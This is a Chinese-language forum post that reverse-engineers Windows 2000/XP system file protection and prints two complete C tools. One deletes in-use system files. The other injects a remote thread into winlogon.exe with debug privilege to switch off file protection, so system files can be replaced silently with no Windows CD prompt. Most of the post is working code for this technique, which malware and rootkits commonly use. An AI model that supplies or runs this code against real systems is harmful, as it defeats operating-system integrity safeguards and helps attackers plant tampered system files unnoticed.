在Win2000-XP上安静地替换正在使用的系统文件

在Win2000-XP上安静地替换正在使用的系统文件

     总是索而不敷总有些过意不去.另外在安焦上灌了两年水竟然安焦文档还找不到一个我的名字. 灌不出篇精华帖子还回复不到别人灌的精华贴. 也算得上是个奇迹了.

　　要安静地替换正在使用的系统文件要解决两个问题:
　　1. 替换正在使用的文件.
　　2. 在替换系统文件时不显示插CD的对话框.

　　微软有两个工具可以替换正在使用的文件,zap和inuse. 不过都没有源代码, 只好逆向分析了. inuse比较大40K, zap很小7K. 就分析zap了.

　　用ida打开zap. 就有一个核心函数, 原来它的工作原理是把这个文件移了下位置, 因为比较简单就直接贴上代码.

-------------------cut zap.c---------
#include <Windows.h>

BOOL ZapDelFile(char *szFileToDel)
{
  char cTempFileName[0x80];
  char cTempPathName[0x100];
  char cFileName[0x100];

  if(szFileToDel[1] == ':'){
    sprintf(cTempPathName, "%c://", szFileToDel[0]);
  }
  else{
    GetModuleFileName(NULL, cFileName, 0x100);
    sprintf(cTempPathName, "%c://", cFileName[0]);
  }

  if(GetTempFileName(cTempPathName, "_@", 0, cTempFileName) == 0){
    return FALSE;
  }

  if(MoveFileEx(szFileToDel, cTempFileName, 1) == 0){
    return FALSE;
  }

  if(MoveFileEx(cTempFileName, NULL, 4) == 0){
    return FALSE;
  }

  return TRUE;
}

void usage(char *n) {
  printf("usage: %s fileNeedToDel/n", n);
  exit(0);
}

int main(int argc, char* argv[])
{

  printf("Zap programed by bgate. :) */n/n");

  if (argc != 2)
    usage(argv[0]);

  if(ZapDelFile(argv[1]) == TRUE){
    printf("OK");
  }
  else{
    printf("error %d", GetLastError());
  }
  return 0;
}

-------------------end cat-----------

　　现在你已经可以用它去删除正在使用的系统文件了, 不过删除之后会弹出让你插入Windows CD对话框.
　　注意: 删系统文件前做好备份, 在重启前恢复, 另外删系统文件前还需要把dllcache中相应的备份删除. 否则系统会自动恢复.

　　接下来就想办法去掉这个对话框, 拿出我的法宝--google. 胡乱地搜了一气. 搜到两条有用信息.
　　1.Windows 2000下执行系统文件保护的代码在sfc.dll中, Xp系统下在sfc_os.dll中.
　　2.注册表中把一个叫SfcDisable的键设为FFFFFF9D能在下次启动时让文件保护功能失效.

　　下面的分析是在Win2K sp4+上进行的. 其中分析的sfc.dll版本是5.0.2195.6673

　　用ida打开sfc.dll在string中找sfcdisable, 没找到! 让string显示Unicode. 这下看到了. 找到对SfcDisable引用的一个地方.代码如下
.text:769269F9         call  _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x)
.text:769269FE         push  ebx
.text:769269FF         push  offset ??_C@_1BG@HOGG@?$AAS?$AAf?$AAc?$AAD?; "SfcDisable"
.text:76926A04         push  edi
.text:76926A05         push  esi
.text:76926A06         mov   _SFCDebug, eax
.text:76926A0B         call  _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x)
.text:76926A10         push  ebx
.text:76926A11         push  offset ??_C@_1BA@HLJH@?$AAS?$AAf?$AAc?$AAS?$AAc?$AAa?$AAn?$AA?$AA@ ; "SfcScan"
.text:76926A16         push  edi
.text:76926A17         push  esi
.text:76926A18         mov   _SFCDisable, eax
.text:76926A1D         call  _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x)
.text:76926A22         push  ebx
.text:76926A23         push  offset ??_C@_1BC@KFAJ@?$AAS?$AAf?$AAc?$AAQ?$AAu?$AAo?$AAt?$AAa?$AA?$AA@ ; "SfcQuota"
.text:76926A28         push  edi
.text:76926A29         push  esi
.text:76926A2A         mov   _SFCScan, eax

　　其中_SfcQueryRegDwordWithAlternate@16是读注册表的函数. 很明显, 它把注册表中SfcDisable的值读到了_SFCDisable中. 好, 调出softice. 在_SFCDisable上设断点. 我们又用刚写的zap去删系统文件, softice弹出来了. 断到了下面这个地方, eip为7692A326, _SFCDisable为2.
.text:7692A319         push  ecx
.text:7692A31A         and   [esp+4+var_4], 0
.text:7692A31F         cmp   _SFCDisable, 3
.text:7692A326         push  ebx
.text:7692A327         push  ebp
.text:7692A328         push  esi
.text:7692A329         push  edi
.text:7692A32A         jnz   short loc_7692A333
.text:7692A32C         xor   eax, eax
.text:7692A32E         jmp   loc_7692A459
　　F5退出, 一会儿对话框弹了出来, 就对这儿引用了一次. 很好, 看看上面这段代码"cmp _SFCDisable, 3". 此时_SFCDisable为2弹出了对话框, 那么我就把它改为3又用zap删系统文件试试. 哈, 运气很好, 这次没出现让插CD的对话框了. 也就是说只要我们把_SFCDisable改为3就能偷偷地替换系统文件了. 不过不同版本这个地址是不一样的, 用switch来做这个活总是不好. 得写个有通用性的代码.

　　开始我想它的工作原理大概是Winlogon发现了有对系统文件进行操作. 便调用sfc.dll中的输出函数进行检查. 我们就只需得到这个输出函数入口然后把这个函数"注释"掉就可以了.跟着上面这段代码逆流而上, 找到最后由76924544输出, 又在76924544上加个断点, 继续去删文件. softice跳出来了, 不过不在函数的入口, 反倒在刚才设置的对_SFCDisable的读取上, 没运行函数的入口就运行了函数体中的代码, 看来遇到高人了. 非得逼我出必杀技, 打开2000源代码 : ). 找了半天没找到相应代码又只得退回来看汇编, 最后发现了这个函数NtWaitForMultipleObjects. 呵, 难怪没中断在函数的入口上, 原来早运行了函数的入口然后在函数体里一直没退出. 注释函数的方法不行了.

　　这时我想它的工作原理大概是winlogon调用sfc.dll中的输出函数在系统启动时创建了一系列事件. 既然winlogon创建了, 那么它也应该得撤销. 用depends打开winlogon. 果然从sfc.dll中输入了两个函数. 一个是刚才分析的那个, 创建了一系列事件. 看看另一个, 输出地址是76926869, 不出所料, 关闭了一系列事件. 现在我们只要向winlogon中注入代码调用"另一个"函数就能取消文件保护功能了. 不过winlogon不能随便注入代码. 26A杂志第六期上有篇文章提到了注入方法:"adjust debugger access rightz to our process". 那也是一篇SFCDisable的文章, 他用的方法是在内存中搜索特征码, 然后修改. 通用性应该没这么好.

　　下面的注入方法是从crazylord的代码中拷过来的, 不过方法不是. :), 写完后就懒得检查了, 加之水平有限, 写的不过优雅的地方就将就着看.

-----------------cut antisfc.c-----------

#include <stdlib.h>
#include "Windows.h"
#include "Tlhelp32.h"
#pragma comment( lib, "Advapi32.lib" )

typedef void (_stdcall * CLOSEEVENTS)(void);
typedef unsigned long DWORD;
typedef DWORD ANTISFC_ACCESS;

/*
* ANTISFC structures
*/

typedef struct _ANTISFC_PROCESS {
  DWORD   Pid;         // process pid
  HANDLE ProcessHandle;    // process handle
  char  ImageName[MAX_PATH]; // image name (not full path)
} ANTISFC_PROCESS, *PANTISFC_PROCESS;

__inline void ErrorMessageBox(char *szAdditionInfo)
{
  printf("error on %s, error code %d. /n", szAdditionInfo, GetLastError());
}

void usage(char *n) {
  printf("usage: %s [/d]/n", n);
  printf("/t/d: disable sfc file protecte fuction./n");
  exit(0);
}

DWORD Init() {
  DWORD Ret = 0;
  HANDLE hToken;
  LUID sedebugnameValue;
  TOKEN_PRIVILEGES tkp;

  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
    ErrorMessageBox("OpenProcessToken");
  } else {

    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
      ErrorMessageBox("LookupPrivilegeValue");
    } else {

      tkp.PrivilegeCount = 1;
      tkp.Privileges[0].Luid = sedebugnameValue;
      tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

      if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) {
        ErrorMessageBox("AdjustTokenPrivileges");
      } else {
        Ret = 1;
      }
    }
    CloseHandle(hToken);
  }

  return(Ret);
}

DWORD GetPidEx(char *proc_name, char *full_path) {
  DWORD      dwPid=0;
  HANDLE      hSnapshot;
  PROCESSENTRY32  pe;
  BOOL        Ret;
  
  if (isdigit(proc_name[0]))
    dwPid = strtoul(proc_name, NULL, 0);
  else
   dwPid = -1;
   
  hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (hSnapshot == (HANDLE) -1){
    ErrorMessageBox("CreateToolhelp32Snapshot");
    return(0);
  }

  pe.dwSize = sizeof(PROCESSENTRY32);
  Ret = Process32First(hSnapshot, &pe);

  while (Ret) {
     if((strncmp(strlwr(pe.szExeFile), strlwr(proc_name), strlen(proc_name)) == 0)
       || (pe.th32ProcessID == dwPid)) {
        dwPid = pe.th32ProcessID;
        strcpy(full_path, pe.szExeFile);
        break;
    }
    pe.dwSize = sizeof(PROCESSENTRY32);
    Ret = Process32Next(hSnapshot, &pe);
  }

  CloseHandle(hSnapshot);
  if (dwPid == -1)
    dwPid = 0;
  return(dwPid);
}

DWORD InitProcess(PANTISFC_PROCESS Process, char *proc_name, ANTISFC_ACCESS access) {
  DWORD Ret=0;

  Process->Pid = GetPidEx(proc_name, Process->ImageName);
  if (Process->Pid != 0 && Process->ImageName[0] != 0) {
    Process->ProcessHandle = OpenProcess(access, FALSE, Process->Pid);
    if (Process->ProcessHandle == NULL)
      ErrorMessageBox("OpenProcess");
    else
      Ret = 1;
  }

  return(Ret);
}

DWORD InjectThread(PANTISFC_PROCESS Process,
        PVOID function) {
  HANDLE  hThread;
  DWORD  dwThreadPid = 0, dwState;

  hThread = CreateRemoteThread(Process->ProcessHandle,
                NULL,
                0,
                (DWORD (__stdcall *) (void *)) function,
                NULL,
                0,
                &dwThreadPid);
  if (hThread == NULL) {
    ErrorMessageBox("CreateRemoteThread");
    goto cleanup;
  }

  dwState = WaitForSingleObject(hThread, 4000); // attends 4 secondes

  switch (dwState) {
  case WAIT_TIMEOUT:
  case WAIT_FAILED:
    ErrorMessageBox("WaitForSingleObject");
    goto cleanup;

  case WAIT_OBJECT_0:
    break;

  default:
    ErrorMessageBox("WaitForSingleObject");
    goto cleanup;
  }

  CloseHandle(hThread);
  return dwThreadPid;
  
cleanup:
  CloseHandle(hThread);

  return 0;
}

int main(int argc, char* argv[])
{
  ANTISFC_PROCESS   Process;
  HMODULE hSfc;
  DWORD  dwThread;
  CLOSEEVENTS pfnCloseEvents;
  DWORD dwVersion;

  printf("AntiSfc programed by bgate. :) */n/n");

  if (argc != 2)
    usage(argv[0]);

  if (strcmp(argv[1], "/d") != 0) {
    usage(argv[0]);
  }

  if (Init()) {
    printf("debug privilege set/n");
  } else {
    printf("error on get debug privilege/n");
    return(0);
  }

  if(InitProcess(&Process, "winlogon.exe", PROCESS_ALL_ACCESS) == 0) {
     printf("error on get process info. /n");
    return(0);
  }

  dwVersion = GetVersion();
  if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5){        // Windows 2000/XP
    if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0){       //Windows 2000
      hSfc = LoadLibrary("sfc.dll");
      printf("Win2000/n");
    }
    else {//if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1)       //Windows XP
      hSfc = LoadLibrary("sfc_os.dll");
      printf("Windows XP/n");
    }
  }  
  //else if () //2003?
  else {
    printf("unsupported version/n");
  }

  pfnCloseEvents = (CLOSEEVENTS)GetProcAddress(hSfc,
                         MAKEINTRESOURCE(2));
  if(pfnCloseEvents == NULL){
    printf("Load the sfc fuction failed/n");
    FreeLibrary(hSfc);
    return(0);
  }

  FreeLibrary(hSfc);

  dwThread = InjectThread(&Process,
              pfnCloseEvents);
  
  if(dwThread == 0){
    printf("failed/n");
  }
  else{
    printf("OK/n");
  }

  CloseHandle(Process.ProcessHandle);
  return(0);

}

------------------end cut---------
　　在运行zap替换系统文件前运行一下antisfc就行了, 你也可以把它们写到一起. 理论上他能在2000, xp, 2003?的任何版本上使用. 不过我只在Win2K sp4+, WinXP sp1+上测试过.
　　本文的缺点是替换的系统文件只能在重启后生效, 写完了.